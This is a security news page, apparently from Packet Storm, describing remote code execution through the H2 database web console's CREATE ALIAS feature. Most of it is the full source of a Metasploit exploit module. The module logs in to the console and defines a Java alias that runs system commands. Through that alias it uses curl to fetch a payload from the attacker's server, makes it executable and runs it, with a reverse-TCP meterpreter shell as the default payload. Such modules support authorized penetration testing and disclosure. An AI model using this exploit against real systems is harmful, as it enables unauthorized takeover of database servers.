Security
Headlines
HeadlinesLatestCVEs

Headline

H2 Web Interface Create Alias Remote Code Execution

The H2 database contains an alias function which allows for arbitrary Java code to be used. This functionality can be abused to create an exec functionality to pull our payload down and execute it. H2’s web interface contains restricts MANY characters, so injecting a payload directly is not favorable. A valid database connection is required. If the database engine was configured to allow creation of databases, the module default can be used which utilizes an in memory database. Some Docker instances of H2 don’t allow writing to folders such as /tmp, so we default to writing to the working directory of the software. This Metasploit module was tested against H2 version 2.1.214, 2.0.204, 1.4.199 (version detection fails).

Packet Storm
#sql#vulnerability#web#js#git#java#rce#auth#docker
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HttpServer  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'H2 Web Interface Create Alias RCE',        'Description' => %q{          The H2 database contains an alias function which allows for arbitrary Java code to be used.          This functionality can be abused to create an exec functionality to pull our payload down          and execute it. H2's web interface contains restricts MANY characters, so injecting a payload          directly is not favorable. A valid database connection is required. If the database engine          was configured to allow creation of databases, the module default can be used which          utilizes an in memory database. Some Docker instances of H2 don't allow writing to          folders such as /tmp, so we default to writing to the working directory of the software.          This module was tested against H2 version 2.1.214, 2.0.204, 1.4.199 (version detection fails)        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # msf module          'gambler', # edb 44422          'h4ckNinja', # edb 45506          'Nairuz Abulhul' # medium write-up        ],        'References' => [          [ 'EDB', '44422'],          [ 'EDB', '45506'],          [ 'URL', 'https://medium.com/r3d-buck3t/chaining-h2-database-vulnerabilities-for-rce-9b535a9621a2'],          [ 'URL', 'https://www.h2database.com/html/commands.html#create_alias']        ],        'Stance' => Stance::Aggressive,        'Platform' => 'unix',        'Arch' => [ARCH_CMD],        'Privileged' => false,        'Payload' => {          # likely more, these aren't really used now that we go with a curl          # to retrieve our payload, but leaving here for future travelers          'BadChars' => '"<>;|`\\'        },        'Targets' => [          [ 'Automatic Target', {}]        ],        'DisclosureDate' => '2018-04-09', # first EDB link, prob older since this seems to be a 'feature'        'DefaultTarget' => 0,        'DefaultOptions' => {          'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],          'NOCVE' => ['abusing a feature']        }      )    )    register_options(      [        Opt::RPORT(8082),        OptString.new('USERNAME', [ true, 'User to login with', '']),        OptString.new('PASSWORD', [ true, 'Password to login with', '']),        OptString.new('DATABASE', [ true, 'Database to use', 'jdbc:h2:mem:']),        OptString.new('TARGETURI', [ true, 'The URI of the H2 web interface', '/']),        OptBool.new('GETVERSION', [ true, 'Get the version of the database before exploiting', true])      ]    )  end  def get_jsessionid    vprint_status('Obtaining jsessionid (cookie equivalent)')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'login.jsp'),      'method' => 'GET'    )    return nil if res.nil?    return nil unless res.code == 200    if res.body =~ /location.href = 'login\.jsp\?jsessionid=([^']+)';/      vprint_good("jsessionid (cookie equivalent): #{Regexp.last_match(1)}")      return Regexp.last_match(1)    else      return nil    end  end  def login(check_only: false)    page = 'login.do'    if check_only      page = 'test.do'    end    send_request_cgi({      'uri' => normalize_uri(target_uri.path, page),      'method' => 'POST',      'vars_get' => {        'jsessionid' => @jsessionid      },      'vars_post' => {        'language' => 'en',        'setting' => 'Generic+H2+%28Server%29',        'name' => 'Generic+H2+%28Server%29',        'driver' => 'org.h2.Driver',        'url' => datastore['DATABASE'],        'user' => datastore['USERNAME'],        'password' => datastore['PASSWORD']      }    })  end  def check    @jsessionid = get_jsessionid    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'login.jsp'),      'method' => 'GET',      'vars_get' => {        'jsessionid' => @jsessionid      }    })    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200    return CheckCode::Unknown("#{peer} - H2 web interface not found") unless res.body.include? '<title>H2 Console</title>'    print_status("Detected autofilled DB: #{Regexp.last_match(1)}") if res.body =~ /<td class="login"><input type="text" name="url" value="([^"]+)"/    print_status("Detected autofilled Username: #{Regexp.last_match(1)}") if res.body =~ /<td class="login"><input type="text" name="user" value="([^"]+)"/    res = login(check_only: true)    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200    return CheckCode::Vulnerable("#{peer} - H2 web interface found, and database connection successful") if res.body.include? 'Test successful'    CheckCode::Safe("#{peer} - H2 web interface found, however database connection NOT successful")  end  def send_command(command)    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'query.do'),      'method' => 'POST',      'vars_get' => {        'jsessionid' => @jsessionid      },      'vars_post' => {        'sql' => command      }    })    return nil if res.nil?    return nil if res.code != 200    res.body  end  def get_version    version = send_command('SELECT H2VERSION() FROM DUAL;')    # regex likely to break on version upgrades unfortunately    if version =~ %r{<table class="resultSet" cellspacing="0" cellpadding="0"><tr><th>H2VERSION\(\)</th></tr><tr><td>([^<]+)</td></tr></table>}      print_good("H2 Version detected: #{Regexp.last_match(1)}")      return    end    print_error('Unable to detect version')  end  def on_request_uri(cli, _request)    print_good('Received payload request')    send_response(cli, payload.encoded)  end  def exploit    @jsessionid ||= get_jsessionid    res = login    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200    if datastore['GETVERSION']      get_version    end    start_service    alias_name = Rex::Text.rand_text_alpha_upper(6..12)    alias_function = %|CREATE ALIAS #{alias_name} AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }$$;|    # escape single quotes with double single quotes, http://www.h2database.com/html/grammar.html    payload_name = "#{Rex::Text.rand_text_alphanumeric(6..10)}.sh"    vprint_status("Saving payload as #{payload_name}")    run_alias = "CALL #{alias_name}('curl #{get_uri} -o #{payload_name}');      CALL #{alias_name}('chmod a+x #{payload_name}');      CALL #{alias_name}('./#{payload_name} &');      CALL #{alias_name}('rm -rf #{payload_name}');"    delete_alias = "DROP ALIAS #{alias_name};"    print_status('Attempting to execute payload retrieval')    send_command("#{alias_function} #{run_alias} #{delete_alias}")  rescue ::Rex::ConnectionError    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  endend

Packet Storm: Latest News

Ubuntu Security Notice USN-7089-6